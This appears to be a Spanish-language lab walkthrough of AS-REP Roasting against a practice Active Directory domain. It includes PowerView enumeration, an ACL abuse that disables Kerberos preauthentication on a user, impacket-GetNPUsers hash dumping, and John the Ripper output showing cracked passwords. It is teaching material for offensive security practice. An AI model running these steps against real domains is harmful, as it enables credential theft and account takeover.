Lo que vamos hacer con esta tecnica es parecida que la del AS-REQ Roasting pero en vez de capturar el paquete que se le envia al AS capturaremos la Respuesta del AS con el paquete que envia al usuario cifrado con la clave privada del usuario que dentro contiene la clave de sesion del servicio a consumir.
Pero la diferencia del otro es que en este caso en vez de estar sniffeando la red, lo que vamos hacer es enviarle el nombre de usuario al AS como atacante y este va a coger ese nombre de usuario va a buscar la clave privada que corresponde a ese usuario, para cifrar el paquete con la clave de sesion y nos lo enviara a nosotros, con ese paquete que nos envie de forma offline vamos a tratar de crackear esa clave privada para poderla obtener en texto plano.
Pero con la medida de seguridad de Preautenticacion no se puede hacer esto, solo que hay algunos usuarios que esto no lo tienen activado esta medida de seguridad y con ellos si lo podremos hacer, para poder enumerar esto cargaremos en el equipo del empleado1 el script de PowerView.
cd .\Desktop
. .\new_powerview.ps1
Get-DomainUser -PreauthNotRequired
Esto nos va a mostrara los usuarios que no tienen esta medida de seguridad, en concreto esta flag de aqui donde la seccion de useraccountcontrol que pone DONT_REQ_PREAUTH por lo que cuando enviemos ese usuario no va a pedir una Preautenticacion.
Para ver esta flag dentro del DC si nos vamos donde los usuarios y seleccionamos uno cualquiera, veremos esta seccion de aqui:
Donde pone Do not require Kerberos preauthentication significa que si eso esta marcado no va a pedir la autenticacion previa que vemos que hace el AS.
El script que ejecutamos muy anteriormente ya nos montaba este tipo de vulnerabilidades con el kerberos pero si no fuera asi, marcamos esa casilla y ya seria vulnerable.
Vamos a ver en mi caso que usuario tiene esa vulnerabilidad, en mi caso me saco 3 usuarios:
Vemos que nos ha volcado los hashes de los 3 usuarios que tienen esta vulnerabilidad, pero nos quedaremos con el usuario que dijimos anteriormente, este fichero se habra volcado en el siguiente direccion:
Si abrimos el archivo con un bloc de notas, veremos los 3 hashes:
En formato de john.
La herramienta basicamente lo que hace es de forma automatica consulta en el LDAP los usuarios que tengan ese kerberos marcado de que no les hace falta esa preautenticacion y te realizar la tecnica.
Ahora lo que vamos hacer es pasarnos ese hash del primer usuario a kali en el siguiente archivo:
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password1 ($krb5asrep$audre.maible@corp.local)
1g 0:00:00:00 DONE 2/3 (2025-01-15 05:12) 11.11g/s 560044p/s 560044c/s 560044C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Y por lo que vemos nos saca la contraseña de dicho usuario que en este caso seria password1.
Si por ejemplo probamos el del otro usuario segundo, veremos algo asi:
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
marina ($krb5asrep$gerri.kathi@corp.local)
1g 0:00:00:00 DONE 2/3 (2025-01-15 05:13) 12.50g/s 624325p/s 624325c/s 624325C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Vemos que para el segundo usuario seria marina y asi sucesivamente.
Vulnerabilidad de ACL (WriteAll)
Si en algun casual ningun usuario tuviera esta flag marcada de kerberos sin la preautenticacion podremos ver las ACLs para ver si algun usuario tiene alguna mala configuracion la cual podamos aprovechar para poder activar esto desde terminal, pongamos que un usuario tiene una ACL sobre el empleado1 en el que este mismo tiene un WriteAll sobre dicho usuario, podremos hacer lo siguiente desde terminal del empleado1.
Pero antes lo configuraremos de esa forma, nos iremos a DC -> Administrador del servidor -> Usuarios y equipos del dominio de Active Directory -> Users -> elegimos uno que no tenga marcado esa casilla de Kerberos en mi caso sera meg.carolee -> Seguridad -> Opciones Avanzadas -> Agreagar -> Seleccion principal -> seleccionamos al usuario empelado1 -> borramos todas las opciones y le damos a la casilla de arriba del todo que pone Escribir todas las propiedades -> Aceptar -> Aplicar -> Aceptar.
Echo esto ya podremos hacer lo que comentaba anteriormente, por lo que con el script de PowerView cargado haremos lo siguiente para marcar esa casilla sobre dicho usuario, ya que tenemos una ACL que nos permite escribir lo que queramos sobre ese usuario.
Lo que estamos haciendo aqui es que establezca este valor 4194304 a dicho usuario que ese valor corresponde a cuando la preautenticacion de kerberos esta desactivada (La casilla marcada), por lo que con esto hacemos que esa casilla este marcada.
Info:
DETALLADO: [Get-DomainSearcher] search base: LDAP://DC01.CORP.LOCAL/DC=CORP,DC=LOCAL
DETALLADO: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=meg.carolee)(name=meg.carolee)(dnshostname=meg.carolee))))
DETALLADO: [Set-DomainObject] XORing 'useraccountcontrol' with '4194304' for object 'meg.carolee'
Si nos vamos a nuestro DC veremos que el usuario ahora lo tiene marcado:
Y si lanzamos el script de Rubeus veremos que ahora nos saca ese usuario tambien:
Ahora vamos a ver como realizar todo esto pero en Linux con nuestro kali, por que en muchas ocasiones no vamos a tener un usuario de dominio.
Vamos a utilizar kerbrute pero antes abriremos Wireshark para capturar el trafico de red que va a generar kerbrute para interceptar ese paquete que nos interesa.
Una vez abierto Wireshark, escuchando en la interfaz de red correspondiente y poniendo el filtro de kerberos haremos lo siguiente con kerbrute:
Antes en la lista de usuarios pongamos que hemos conseguido enumerar gran parte de usuarios, entre ellos los que tienen el kerberos de la preautenticacion deshabilitado en la casilla habilitado.
Si nos vamos a Wireshark vamos a ver lo siguiente:
Vemos que hemos interceptado todos los paquetes de las solicitudes que ha echo kerbrute las cuales tendremos que ver cuales no piden la Preautenticacion de kerberos sobre que usuario y esto lo veremos siguiendo las trazas de paquetes de datos:
Si nos vamos a esta parte de aqui:
Estamos viendo que la traza lleva directamente a un AS-REP por lo que no esta pidiendo una Preautenticacion de kerberos por lo que vamos a ver los datos de ese paquete, para saber el nombre de usuario.
Vemos que se llama audre.maible por lo que vamos a irnos al AS-REP y copiamos el valor de cipher.
Esto lo tendremos que pasar al formato correspondiente como vimos anteriormente, lo pasamos por john y ya lo tendriamos crackeado, pero si lo queremos hacer con una herramienta en kali se puede utilizar impacket.
impacket-GetNPUsers corp.local/ -users users.txt -format john -outputfile asrep2.hash
Info:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User empleado1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User empleado2 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User angelika.shelly doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$audre.maible@CORP.LOCAL:30da558531771a74867f1a07221ffff7$68319ffa58a80bb4e4f8ceaaf741019ee08e6ef75a88e78cf3581fd15d96e81e1780941da573cda6159411cb4efa4dcc7bc32e2ee5344b4391a55ab0df55d43030ae6678c4f1445bff775534ac957dce84a82094b0b85bfddb9f29ba98a60f1b29fcb0cb7263b20d5c3a719192c9f669b2ad6efa0a16ece5e106374a50d32ab86871cd8b635d9c7749ab2b3abc02b14958c1180b55d8dfd403f3bd25ef51ef8e18e62f244217be0531995ad168f3aa0b458aa56a9aed11beaa04a55b64d6a9d89f963247c2f17d49fec1ccece3a28edd1b26b40e02748a92d1836347177a3365efb29665b24bec66
[-] User maurine.bibby doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User pearl.judye doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User peta.adelind doesn't have UF_DONT_REQUIRE_PREAUTH set
Vemos que lo ha conseguido con un usuario y si leemos el archivo que nos volco, veremos que lo guuardo ahi: